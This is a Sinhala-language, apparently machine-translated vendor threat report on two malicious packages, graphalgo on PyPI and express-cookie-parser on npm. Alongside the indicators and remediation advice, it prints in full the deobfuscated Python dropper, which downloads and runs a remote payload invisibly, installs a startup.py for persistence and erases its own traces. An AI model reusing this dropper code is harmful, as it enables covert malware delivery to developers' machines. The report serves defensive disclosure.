2025 දී මෘදුකාංග සැපයුම් දාම ප්රහාරවල භූ දර්ශනයේ කනස්සල්ලට කරුණක් වන රටාවක් Xygeni මෑතකදී නිරීක්ෂණය කළේය., ජනප්රිය පැකේජ කළමනාකරුවන් දෙදෙනෙකු හරහා මතුවෙමින් තිබේ: පයිපී සහ npm. අපගේ අඛණ්ඩ තර්ජන බුද්ධි ප්රයත්නවල කොටසක් ලෙස,සයිජෙනි හි අනිෂ්ට මෘදුකාංග පූර්ව අනතුරු ඇඟවීම (MEW) මෙවලම මීට පෙර වෙනත් රෙජිස්ට්රියකට උඩුගත කරන ලද අනිෂ්ට පැකේජයක පැහැදිලි නමුත් ක්රමවේදමය වශයෙන් සමාන අවස්ථාවක් හඳුනා ගත්තේය. මෙම නඩුවේදී තර්ජන ක්රියාකාරීන් පරිසර පද්ධති හරහා, විශේෂයෙන් හරහා ප්රහාරක ශිල්පීය ක්රම පරිණාමය වී නැවත භාවිතා කරන ආකාරය ඉස්මතු කරයි. අනිෂ්ට පයිතන් පැකේජ සහ අනිෂ්ට npm පැකේජ, එමඟින් විවෘත මූලාශ්ර සැපයුම් දාමයන්ට ද්වේෂසහගත පැකේජ රිංගා ගැනීමේ අවදානම වැඩි කරයි.
සයිජෙනිගේ MEW: සමානකම් හඳුනා ගැනීම
Xygeni හි MEW මෙවලම, විවෘත මූලාශ්ර ලේඛනවලට ප්රකාශයට පත් කළ වහාම, විශේෂයෙන් 2025 දී මෘදුකාංග සැපයුම් දාම ප්රහාරවලට සම්බන්ධ ද්වේෂසහගත පැකේජ හඳුනාගෙන සලකුණු කිරීම සඳහා ගොඩනගා ඇත. සැක සහිත හැසිරීම් සඳහා නව පැකේජ විශ්ලේෂණය කිරීමෙන් එය ක්රියා කරයි.
මෙම අවස්ථාවේදී, එය දෙකක් හඳුනා ගත්තේය අනිෂ්ට පයිතන් පැකේජ (graphalgo PyPI මත) සහ අනිෂ්ට npm පැකේජ (express-cookie-parser npm මත).
මෘදුකාංග සැපයුම් දාම ප්රහාරවල අනිෂ්ට පයිතන් සහ npm පැකේජ (2025)
අපගේ ඇඟවීම් අවුලුවාලූ බෙදාගත් ලක්ෂණ ගවේෂණය කරමු:
යතුරු ලියනය කිරීම
ඔවුන් දෙදෙනාම ජනප්රිය පවතින පැකේජ ලෙස පෙනී සිටීමට උත්සාහ කළහ.
- ග්රැෆල්ගෝ (PyPI): "ප්රස්ථාර සහ ජාල නිර්මාණය කිරීම සහ හැසිරවීම සඳහා පයිතන් පැකේජය.” නම් පරිශීලකයෙකු විසින් උඩුගත කරන ලදී "ලැරිටෙක්" 2025 ජුනි 13 වන දින, මෙම පැකේජය මුල් අනිෂ්ට නොවන ග්රැෆල්ගෝ ව්යාපෘතියට PyPi විකල්පයක් ලෙස ඉදිරිපත් කරන ලද අතර පසුව එය ග්රැෆික්ඩික්ට් ලෙස නම් කරන ලදී.
- අධිවේගී-කුකී-විග්රහකය (npm): මෙම පැකේජය සුප්රසිද්ධ කුකී-විග්රහක පැකේජය අනුකරණය කළ අතර, එහි README.md. එවැනි අනුකරණයක් යනු පවතින විශ්වාසය උපයෝගී කර ගැනීම සඳහා භාවිතා කරන සම්භාව්ය උපක්රමයකි.
පළමු ආරක්ෂක පෙළක් ලෙස අපැහැදිලි කිරීම
පැකේජ දෙකම මුල් ගොනු තුළ ඒවායේ අනිෂ්ට කේතය අපැහැදිලි කර ඇත. සඳහා ග්රැෆල්ගෝ, අපැහැදිලි කේතය සොයා ගන්නා ලදී /utils/load_libraries.py. වන අවස්ථාවක දී අධිවේගී-කුකී-විග්රහකය, cookie-loader.min.js අපැහැදිලි බර පැටවීම අඩංගු විය.
මෙම ආරම්භක අපැහැදිලි කිරීමේ ස්ථරය සාමාන්යයෙන් අනියම් පරීක්ෂාව සහ ස්ථිතික විශ්ලේෂණයට බාධා කිරීම සඳහා භාවිතා කරයි. අපැහැදිලි කිරීම තරමක් සරල විය: නැවත නැවත ZLib සම්පීඩනය සහ Base64 කේතනය. මෙම ආකාරයේ අපැහැදිලි කිරීම පැහැදිලිවම පෙන්නුම් කරන්නේ මෘදුකාංගය එහි හැසිරීම සැඟවීමට උත්සාහ කරන බවයි. අනෙකුත් සාක්ෂි සමඟින්, මෙය Xygeni MEW හට පැකේජ විභව අනිෂ්ට මෘදුකාංග ලෙස වර්ගීකරණය කිරීමට ඉඩ ලබා දුන්නේය. තහවුරු කිරීමේ අදියරේදී, අපගේ සමාලෝචකයින් වහාම පැහැදිලිවම ද්වේෂසහගත ඩ්රොපර් අදියර හෙළි කරන ලද deobfuscation ස්ක්රිප්ට් එකක් සකස් කළහ.
බහු-අදියර බර පැටවීමේ බෙදාහැරීම සහ බෙදාගත් ආරම්භක ස්ථානයක්
පැකේජ දෙකම ආරම්භක “droppers"," සැබෑ බර පැටවීම සඳහා වේදිකාව සකසයි. ඔවුන් පොදු බාහිර "" බෙදා ගත්හ.බීජ” ගොනු URL එක:https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
මෙම සමාන බාහිර බීජ ගොනුව බෙදාගත් තර්ජන කාරකයක ප්රබල දර්ශකයකි. සිත්ගන්නා කරුණ නම්, මෙම බීජ ගොනුවේ අන්තර්ගතය සරල පරිසර විචල්යයන් (උදා: JWT_SECRET, PORT) ලෙස පෙනෙන අතර, එහි සත්ය ක්රියාකාරිත්වයට නොමඟ යවන සුළු පරීක්ෂාවක් විය හැකිය.
DGA එකක් සහිත ගතික C2 විභේදනය
මෙම ද්වේෂසහගත පැකේජවල නිරීක්ෂණය කරන ලද නවීන උපක්රමයක් වන්නේ විධාන සහ පාලන (C2) සේවාදායකය ගතිකව විසඳීම සඳහා වසම් උත්පාදන ඇල්ගොරිතමයක් (DGA) භාවිතා කිරීමයි. 2025 දී උසස් මෘදුකාංග සැපයුම් දාම ප්රහාර වලදී බොහෝ විට දක්නට ලැබෙන මෙම තාක්ෂණය, අනෙකුත් දෘඪ කේතනය කළ අගයන් සමඟ ඒකාබද්ධව, බීජ ගොනුවේ අන්තර්ගතයෙන් ලබාගත් SHA256 හැෂ් එකක් මත රඳා පවතී. එසේ කිරීමෙන්, C2 යටිතල පහසුකම් නිතර වෙනස් වන අතර, සාම්ප්රදායික කළු ලැයිස්තුගත කිරීම බෙහෙවින් අඩු ඵලදායී කරයි. මෙම අවස්ථාවේදී, npm ප්රභේදය ස්ථාවර අගයක් භාවිතා කළේය. 496AAC7E එහි DGA තර්කනයේ කොටසක් ලෙස.
නොපසුබට උත්සාහය ස්ථාපිත කිරීම
ප්රහාරකයින් දෙදෙනාම බලපෑමට ලක් වූ පද්ධතිවල කල් පවතින පැවැත්මක් ස්ථාපිත කිරීමට උත්සාහ කළහ. ඔවුන්ගේ උපාය මාර්ගය වූයේ ගොනුවක් අතහැර දැමීමයි, startup.py (PyPi සඳහා) හෝ startup.js (npm සඳහා), විවිධ මෙහෙයුම් පද්ධති (Windows, Linux, macOS) හරහා පොදු Google Chrome පරිශීලක දත්ත නාමාවලි වලට.
ක්රියාත්මක කිරීමෙන් පසු පිරිසිදු කිරීම
හෝඩුවාවන් අවම කිරීම සඳහා, අනිෂ්ට ස්ක්රිප්ට් දෙකම පිරිසිදු කිරීමේ මෙහෙයුම් සිදු කළේය. මෙයට ඒවායේ මුල් ඩ්රොපර් ගොනු මකා දැමීම ඇතුළත් විය (load_libraries.py, cookie-loader.min.js) සහ නීත්යානුකූල පැකේජ ගොනු වෙනස් කිරීම (__init__.py, index.js) දැන් මකා දැමූ සංරචක වෙත යොමු ඉවත් කිරීමට.
අනිෂ්ට පයිතන් සහ npm පැකේජ වල සම්මුති දර්ශක
- PyPI පැකේජය: graphalgo (larrytech විසින් ප්රකාශයට පත් කරන ලදී, 2025 ජුනි 13)
- npm පැකේජය: එක්ස්ප්රස්-කුකී-විග්රහකය (විශේෂයෙන් 1.4.12 අනුවාදය)
- බෙදාගත් බීජ URL වෙත ප්රවේශය:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- ස්ථිර ගොනු නාම:
startup.py(පයිතන්)startup.js(ජාවාස්ක්රිප්ට්) - පොදු ස්ථිර මාර්ග (OS මත යැපෙන): ගූගල් ක්රෝම් පරිශීලක දත්ත නාමාවලි තුළ (උදා:
AppData\Local\Google\Chrome\UserData\Scripts\වින්ඩෝස් මත,~/.config/google-chrome/Scripts/ලිනක්ස් ආදිය මත).
2025 මෘදුකාංග සැපයුම් දාම ප්රහාර වලදී ද්වේෂසහගත පැකේජ වලින් ආරක්ෂා වන්නේ කෙසේද?
සංවර්ධකයින් සඳහා නිර්දේශිත ප්රවේශයක්
2025 දී මෘදුකාංග සැපයුම් දාම ප්රහාරවල පරිණාමය වන තර්ජන භූ දර්ශනයේ වටිනා අධ්යයනයක් ලෙස මෙම සිදුවීම ක්රියා කරයි. ද්වේෂසහගත පයිතන් පැකේජ සහ ද්වේෂසහගත npm පැකේජ විශ්වාසදායක පරිසර පද්ධතිවලට රිංගා යා හැකි ආකාරය, බොහෝ විට ප්රමාද වන තුරු හඳුනාගැනීම මග හරින ආකාරය එය ඉස්මතු කරයි. ඒ නිසා කලින් හඳුනාගැනීම, ස්මාර්ට් මෙවලම් සහ ක්රියාශීලී පද්ධති සනීපාරක්ෂාව දැන් ඕනෑම ආරක්ෂිත DevOps වැඩ ප්රවාහයක අත්යවශ්ය කොටස් වේ. පහත සඳහන් කරුණු සලකා බැලීමට සංවර්ධකයින් දිරිමත් කරනු ලැබේ:
යැපුම් සමාලෝචනය
ඔබේ ව්යාපෘති ඇතුළත් කර ඇත්නම් ග්රැෆල්ගෝ or අධිවේගී-කුකී-විග්රහකය, ඒවා ඉවත් කිරීමට කටයුතු කිරීම ඥානවන්ත වනු ඇත.
- PyPI සඳහා:
pip uninstall graphalgo - npm සඳහා:
npm uninstall express-cookie-parser
පද්ධති සනීපාරක්ෂාව
පුළුල් පද්ධති ස්කෑන් පරීක්ෂණයක් පැවැත්වීම ගැන සලකා බලන්න. අනපේක්ෂිත දෝෂ සඳහා පොදු Chrome පරිශීලක දත්ත නාමාවලි මාර්ග අතින් පරීක්ෂා කිරීම ද යෝග්ය වේ. startup.py or startup.js ගොනු.
ක්රියාකාරී ආරක්ෂක පියවර
- නව යැපීම් තක්සේරු කරන්න: නුහුරු නුපුරුදු ප්රකාශකයින්ගේ පැකේජ කෙරෙහි අවධානය යොමු කරමින්, ඒකාබද්ධ කිරීමට පෙර නව පැකේජ හොඳින් ඇගයීමට පුරුද්දක් ඇති කර ගන්න.
- ආරක්ෂක මෙවලම් ඒකාබද්ධ කරන්න: අනෙකුත් මෘදුකාංග සංයුති විශ්ලේෂණය සමඟ Xygeni's MEW වැනි මෙවලම් (SCA) විසඳුම්, සැක සහිත හැසිරීම් සහ අවදානම් හඳුනා ගැනීමෙන් තීරණාත්මක ආරක්ෂක ස්ථරයක් සැපයිය හැකිය.
- අවම වරප්රසාද: අවම වරප්රසාද මූලධර්මය සමඟ සංවර්ධන පරිසරයන් ක්රියාත්මක කිරීම සම්මුතියක විභව බලපෑම සීමා කිරීමට උපකාරී වේ.
- ජාල දැනුවත් කිරීම: අසාමාන්ය සම්බන්ධතා සඳහා පිටතට යන ජාල ගමනාගමනය නිරීක්ෂණය කිරීමෙන් සමහර විට DGA-ජනනය කරන ලද C2 සන්නිවේදනයන් අනාවරණය විය හැක.
හි ප්රධාන සංරචක load_libraries.py (ග්රැෆල්ගෝ වෙතින්)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content(): නිශ්චිත URL වලින් ගොනු ලබා ගැනීම හසුරුවයි.run_process(): බාහිර පයිතන් ස්ක්රිප්ට් වෙන්වූ ආකාරයකින් ක්රියාත්මක කරයි, විචක්ෂණශීලීව සිටීමට ප්රතිදානය මර්දනය කරයි.get_output_file_path(): persistent startup.py ගොනුව සඳහා සුදුසුම පද්ධති ස්ථානය තීරණය කරයි.remove_self(): ආරම්භක අනිෂ්ට ගොනු සහ පැකේජ වෙනස් කිරීම් ක්රියාත්මක කිරීමෙන් පසු පිරිසිදු කිරීම සංවිධානය කරයි.simple_shift_encrypt()/simple_shift_decrypt(): DGA ක්රියාත්මක කිරීම සඳහා ඉතා වැදගත් වන, සන්නිවේදන නාලිකා අපැහැදිලි කිරීම සඳහා අභිරුචි ගුප්ත ලේඛන කාර්යයන්.load_libraries(): මූලික බාගත කිරීමේ සිට අවසාන ගෙවීම් ක්රියාත්මක කිරීම සහ පිරිසිදු කිරීම දක්වා සමස්ත බහු-අදියර ක්රියාවලිය සම්බන්ධීකරණය කරන මධ්යම ශ්රිතය.
ඉක්බිතිව
MEW විසින් හඳුනාගත් අනෙකුත් විභව ද්වේෂසහගත පැකේජ මෙන්ම, යැපුම් ෆයර්වෝලය මෙම ද්වේෂසහගත පැකේජ ඔවුන්ගේ යැපීම්වලට ඇතුළත් කරන පරිශීලකයින් වහාම ආරක්ෂා කළේය. තහවුරු කිරීමෙන් පසුව, අපි රෙජිස්ට්රි දෙකටම දැනුම්දීමේ ක්රියා පටිපාටි අනුගමනය කළ අතර, සමාලෝචනයෙන් පසු පැකේජ දෙකම ඉවත් කරන ලදී.







